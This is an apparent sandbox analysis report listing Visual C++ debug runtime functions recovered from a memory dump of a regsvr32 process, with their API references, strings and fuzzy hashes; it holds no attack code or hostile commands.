(((_Src))) != NULL, xrefs: 000007FEF9D36B39, 000007FEF9D36B96
String is not null terminated, xrefs: 000007FEF9D36C80
Buffer is too small, xrefs: 000007FEF9D36E05
(L"String is not null terminated" && 0), xrefs: 000007FEF9D36CB3, 000007FEF9D36D10
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl, xrefs: 000007FEF9D36A22, 000007FEF9D36A5C, 000007FEF9D36B4E, 000007FEF9D36B88, 000007FEF9D36CC8, 000007FEF9D36D02, 000007FEF9D36E56, 000007FEF9D36E90
((_Dst)) != NULL && ((_SizeInBytes)) > 0, xrefs: 000007FEF9D36A0D, 000007FEF9D36A6A
(L"Buffer is too small" && 0), xrefs: 000007FEF9D36E41, 000007FEF9D36E9E

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInBytes)) > 0$(L"Buffer is too small" && 0)$(L"String is not null terminated" && 0)$Buffer is too small$String is not null terminated$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl$strcat_s
API String ID: 2123368286-1420200500
Opcode ID: 0735035b45f8f7c7b818c7081b0ef0632545b94255aff591ce5d43235ef3c046
Instruction ID: c5de73825737ff17a6e05e0685af1bba33d69fc1e3bcf908defeea2cf04d7043
Opcode Fuzzy Hash: 0735035b45f8f7c7b818c7081b0ef0632545b94255aff591ce5d43235ef3c046
Instruction Fuzzy Hash: A9F15A32A0DB8A89FBA08B14E84576EA7E0F385395FA04535D6DD43BA8DF3ED044CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C30D Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 231COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C315
_get_printf_count_output.LIBCMTD ref: 000007FEF9D3C322
_invalid_parameter.LIBCMTD ref: 000007FEF9D3C3CC
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3C3E1
wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

-, xrefs: 000007FEF9D3CA54
("'n' format specifier disabled", 0), xrefs: 000007FEF9D3C365, 000007FEF9D3C3C5
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4, 000007FEF9D3C37A, 000007FEF9D3C3B7
_output_s_l, xrefs: 000007FEF9D3BAFB, 000007FEF9D3C3BE

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__get_printf_count_output_invalid_parameterget_int64_argwctomb_s
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2560055391-3497434347
Opcode ID: f7e31fddf96ab2d989b429fa4fac32de28ca989592260db18f40bb78f450a6ea
Instruction ID: 46d09667909aa5f7b215aa93bab53907018271778d835aa8b5e6ab3fef1b3364
Opcode Fuzzy Hash: f7e31fddf96ab2d989b429fa4fac32de28ca989592260db18f40bb78f450a6ea
Instruction Fuzzy Hash: 3BC12D72A0C7C686E7B19B64E8457BEB7E4F384785F604025DAC887AA9DB7DE540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39290 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 142COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D392B6
__doserrno.LIBCMTD ref: 000007FEF9D39341
_invalid_parameter.LIBCMTD ref: 000007FEF9D3937B

Strings

(_osfile(fh) & FOPEN), xrefs: 000007FEF9D393DB, 000007FEF9D39443
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c, xrefs: 000007FEF9D39321, 000007FEF9D39366, 000007FEF9D393F0, 000007FEF9D39435, 000007FEF9D394E7
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D3930C, 000007FEF9D39374
_lseeki64, xrefs: 000007FEF9D3936D, 000007FEF9D3943C
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D394D2

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno$_invalid_parameter
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$(_osfile(fh) & FOPEN)$(fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_lseeki64$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c
API String ID: 747159061-1442092225
Opcode ID: ef8329fd12da17d600f4f9f1cced5d5e2c2be82d60747835616dff46824e4e92
Instruction ID: caaad020489782614700f882d8602b34381ead5b625f1b09b5848be00580b1cf
Opcode Fuzzy Hash: ef8329fd12da17d600f4f9f1cced5d5e2c2be82d60747835616dff46824e4e92
Instruction Fuzzy Hash: 28617C72A1C646CAE7909B25EC4076E72E1F380765F604725E6ED47AF9DB7EE440CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2B12B Relevance: 21.1, APIs: 3, Strings: 9, Instructions: 99COMMON

Download Yara Rule

APIs

_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2B2DB
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2B339
_exit.LIBCMTD ref: 000007FEF9D2B378

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c, xrefs: 000007FEF9D2B2AF, 000007FEF9D2B322
..., xrefs: 000007FEF9D2B167
__crtMessageWindowA, xrefs: 000007FEF9D2B2BB, 000007FEF9D2B329
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2B2F8
(*_errno()), xrefs: 000007FEF9D2B2C7
Module: , xrefs: 000007FEF9D2B192
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2B330
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 000007FEF9D2B269
Microsoft Visual C++ Debug Library, xrefs: 000007FEF9D2B344

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _exit_invoke_watson_if_error_invoke_watson_if_oneof
String ID: Module: $(*_errno())$...$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
API String ID: 1778837556-2487400587
Opcode ID: 577a98effe66048d1b02d2ce2304ffee9433b0bc14e646f7048145a1ac209acc
Instruction ID: 47630d5eafba837dbe703c3de9865bf662ca48ff4c989782bbe983e1f30135bf
Opcode Fuzzy Hash: 577a98effe66048d1b02d2ce2304ffee9433b0bc14e646f7048145a1ac209acc
Instruction Fuzzy Hash: 7851C476608AC591E774DB18F8803EEB3E1F788394F604126EACD43AA9DB7ED154CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C435 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 307COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
DecodePointer.KERNEL32 ref: 000007FEF9D3C5C6
DecodePointer.KERNEL32 ref: 000007FEF9D3C63A
DecodePointer.KERNEL32 ref: 000007FEF9D3C685
wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

-, xrefs: 000007FEF9D3CA54
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
_output_s_l, xrefs: 000007FEF9D3BAFB
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3C4CE

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DecodePointer$Locale$UpdateUpdate::~__invalid_parameterwctomb_s
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 83251219-3442986447
Opcode ID: 001a85c562113ca4b869716a344f10cda0261345211a969ed6127680fca34cae
Instruction ID: db55a7b1c5e8f8ba017cd25dadef4e5d7f369c86b420bd695ab78b9edef6402a
Opcode Fuzzy Hash: 001a85c562113ca4b869716a344f10cda0261345211a969ed6127680fca34cae
Instruction Fuzzy Hash: 49F1D87260CBC186E7B18B25E8947AEB7E4F384785F604125EACD87AA9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D407C0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 141COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D40880

Strings

(_osfile(filedes) & FOPEN), xrefs: 000007FEF9D408DE, 000007FEF9D4093B
_commit, xrefs: 000007FEF9D40872, 000007FEF9D40934
(filedes >= 0 && (unsigned)filedes < (unsigned)_nhandle), xrefs: 000007FEF9D4081C, 000007FEF9D40879
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\commit.c, xrefs: 000007FEF9D40831, 000007FEF9D4086B, 000007FEF9D408F3, 000007FEF9D4092D, 000007FEF9D409F5
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D409E0

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$(_osfile(filedes) & FOPEN)$(filedes >= 0 && (unsigned)filedes < (unsigned)_nhandle)$_commit$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\commit.c
API String ID: 2123368286-2816485415
Opcode ID: a9ecfc86665cfe11dfc030c63538da66c5eec56c542ce672bdc8af4c2c9759d0
Instruction ID: e049fe60bfe8b909c44bc6b291fed8ca56badbc40bca4273ec712473172458ea
Opcode Fuzzy Hash: a9ecfc86665cfe11dfc030c63538da66c5eec56c542ce672bdc8af4c2c9759d0
Instruction Fuzzy Hash: 72617B71A1C6468AE7909B28EC4176E73E1F780354F608225E6DE57AF5D77EE440CF02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40A20 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 135COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D40A33
__doserrno.LIBCMTD ref: 000007FEF9D40ABC
_invalid_parameter.LIBCMTD ref: 000007FEF9D40AF6

Strings

_close, xrefs: 000007FEF9D40AE8, 000007FEF9D40BB5
(_osfile(fh) & FOPEN), xrefs: 000007FEF9D40B54, 000007FEF9D40BBC
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D40A87, 000007FEF9D40AEF
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\close.c, xrefs: 000007FEF9D40A9C, 000007FEF9D40AE1, 000007FEF9D40B69, 000007FEF9D40BAE, 000007FEF9D40C47
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D40C32

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno$_invalid_parameter
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$(_osfile(fh) & FOPEN)$(fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_close$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\close.c
API String ID: 747159061-2992490823
Opcode ID: 145745de55703435efe457d343042b6d2b79a4b89ecca71574c94757b3ea27c1
Instruction ID: a54d4eac887ae6c515e29e2b1085f50a353430ba1ba5378d93a4f051e541eccc
Opcode Fuzzy Hash: 145745de55703435efe457d343042b6d2b79a4b89ecca71574c94757b3ea27c1
Instruction Fuzzy Hash: 38515C71A186468AE7909B29EC8176E73E2F780758F608225E6DD476F5D77EE400CF02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E2FC Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E304
_get_printf_count_output.LIBCMTD ref: 000007FEF9D3E311
_invalid_parameter.LIBCMTD ref: 000007FEF9D3E3BB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3E3D0

Strings

("'n' format specifier disabled", 0), xrefs: 000007FEF9D3E354, 000007FEF9D3E3B4
_woutput_s_l, xrefs: 000007FEF9D3DBD6, 000007FEF9D3E3AD
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF, 000007FEF9D3E369, 000007FEF9D3E3A6

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__get_printf_count_output_invalid_parameterget_int64_arg
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1328470723-1899493600
Opcode ID: f6969a0051e08e9fb172d17dbb699df528c09bf6843d3bd9f9f4304ac6550dc4
Instruction ID: 35246ecaaba514364cbfc4328619620b6524a9f29049ac5612c0b139108759f7
Opcode Fuzzy Hash: f6969a0051e08e9fb172d17dbb699df528c09bf6843d3bd9f9f4304ac6550dc4
Instruction Fuzzy Hash: 41C10D72A0CAC286E7B19B55E8407AFB7E0F384346F600125E6C987AE9DB7DE444CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2EFB0 Relevance: 16.7, APIs: 11, Instructions: 200memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F094
malloc.LIBCMTD ref: 000007FEF9D2F0E7
_MarkAllocaS.LIBCMTD ref: 000007FEF9D2F0F4
MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F150
LCMapStringW.KERNEL32 ref: 000007FEF9D2F18D

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ByteCharMultiWide$AllocaMarkStringmalloc
String ID:
API String ID: 2352934578-0
Opcode ID: c62487d166d7dca86c557c7a35fedf321effa742b468bc4a62d127ec3f3969a5
Instruction ID: 07e98e5d3e74dc1edba9ed484819fff5a1f4d1c282268086727bfc73f0da1f11
Opcode Fuzzy Hash: c62487d166d7dca86c557c7a35fedf321effa742b468bc4a62d127ec3f3969a5
Instruction Fuzzy Hash: E8B1D73690C7818AE7A0CB5AE84476FB7E0F789754F214525EAC983BA8DB7ED444CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D33380 Relevance: 16.1, APIs: 3, Strings: 6, Instructions: 330COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3345E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3362A

Strings

(((_Src))) != NULL, xrefs: 000007FEF9D335C6, 000007FEF9D33623
Buffer is too small, xrefs: 000007FEF9D336D6, 000007FEF9D3384B
wcsncpy_s, xrefs: 000007FEF9D33450, 000007FEF9D3361C, 000007FEF9D338D4
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 000007FEF9D333FA, 000007FEF9D33457
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcsncpy_s.inl, xrefs: 000007FEF9D3340F, 000007FEF9D33449, 000007FEF9D335DB, 000007FEF9D33615, 000007FEF9D336EB, 000007FEF9D33893, 000007FEF9D338CD
(L"Buffer is too small" && 0), xrefs: 000007FEF9D3387E, 000007FEF9D338DB

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcsncpy_s.inl$wcsncpy_s
API String ID: 2123368286-322314505
Opcode ID: 3bb9d1a90c7c3446087a29b367bd8117c888f0c96a3fbe465b5df790d7333f4b
Instruction ID: 6d338823bc0f2b3e781b71aef6a49b7720da2244df946e2498ce1ac2f83d5b49
Opcode Fuzzy Hash: 3bb9d1a90c7c3446087a29b367bd8117c888f0c96a3fbe465b5df790d7333f4b
Instruction Fuzzy Hash: BE023F32A0CB8585EBF09B29E94476EA3E0F385795F604625D6DD83BE5DF3ED0848B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E424 Relevance: 16.1, APIs: 5, Strings: 4, Instructions: 307COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
DecodePointer.KERNEL32 ref: 000007FEF9D3E5B6
DecodePointer.KERNEL32 ref: 000007FEF9D3E62A
DecodePointer.KERNEL32 ref: 000007FEF9D3E675

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3E4BE

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DecodePointer$Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1139040907-3988320827
Opcode ID: 4175f3561072ab378176a1e1f92056bf5caba3e85f41217d234b1a14ff64e00d
Instruction ID: 3e7729e9fa2df8fbd66d26b0c41d9f273e3b14a95de5485bb8cc9613adf332ea
Opcode Fuzzy Hash: 4175f3561072ab378176a1e1f92056bf5caba3e85f41217d234b1a14ff64e00d
Instruction Fuzzy Hash: 48F1E972A0CAC18AE7A08B55E8407AFB7E0F385746F600126E6CD87AA9DB7DD444CF50

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D31640 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 233COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D316F1
_invalid_parameter.LIBCMTD ref: 000007FEF9D31823
_invalid_parameter.LIBCMTD ref: 000007FEF9D319CB

Strings

wcscpy_s, xrefs: 000007FEF9D316E3, 000007FEF9D31815, 000007FEF9D319BD
(((_Src))) != NULL, xrefs: 000007FEF9D317BF, 000007FEF9D3181C
Buffer is too small, xrefs: 000007FEF9D31934
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 000007FEF9D3168D, 000007FEF9D316EA
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl, xrefs: 000007FEF9D316A2, 000007FEF9D316DC, 000007FEF9D317D4, 000007FEF9D3180E, 000007FEF9D3197C, 000007FEF9D319B6
(L"Buffer is too small" && 0), xrefs: 000007FEF9D31967, 000007FEF9D319C4

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl$wcscpy_s
API String ID: 2123368286-3300880850
Opcode ID: 938211b99713ed548de0de10d16fbf2c247e5ceda09f99a66501889bb82a488d
Instruction ID: aecfb8002ddf48ca923cbb39b51a8433fc62f52c2bad17b92f015e95501d1b82
Opcode Fuzzy Hash: 938211b99713ed548de0de10d16fbf2c247e5ceda09f99a66501889bb82a488d
Instruction Fuzzy Hash: 16C15B31A0DB8685EBB08B29E84476E63E4F385795F608235D6DD43BA9DF7ED084CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2D490 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 228COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D2D541
_invalid_parameter.LIBCMTD ref: 000007FEF9D2D66D
_invalid_parameter.LIBCMTD ref: 000007FEF9D2D80C

Strings

strcpy_s, xrefs: 000007FEF9D2D533, 000007FEF9D2D65F, 000007FEF9D2D7FE
(((_Src))) != NULL, xrefs: 000007FEF9D2D609, 000007FEF9D2D666
Buffer is too small, xrefs: 000007FEF9D2D775
((_Dst)) != NULL && ((_SizeInBytes)) > 0, xrefs: 000007FEF9D2D4DD, 000007FEF9D2D53A
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl, xrefs: 000007FEF9D2D4F2, 000007FEF9D2D52C, 000007FEF9D2D61E, 000007FEF9D2D658, 000007FEF9D2D7BD, 000007FEF9D2D7F7
(L"Buffer is too small" && 0), xrefs: 000007FEF9D2D7A8, 000007FEF9D2D805

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInBytes)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl$strcpy_s
API String ID: 2123368286-3045918802
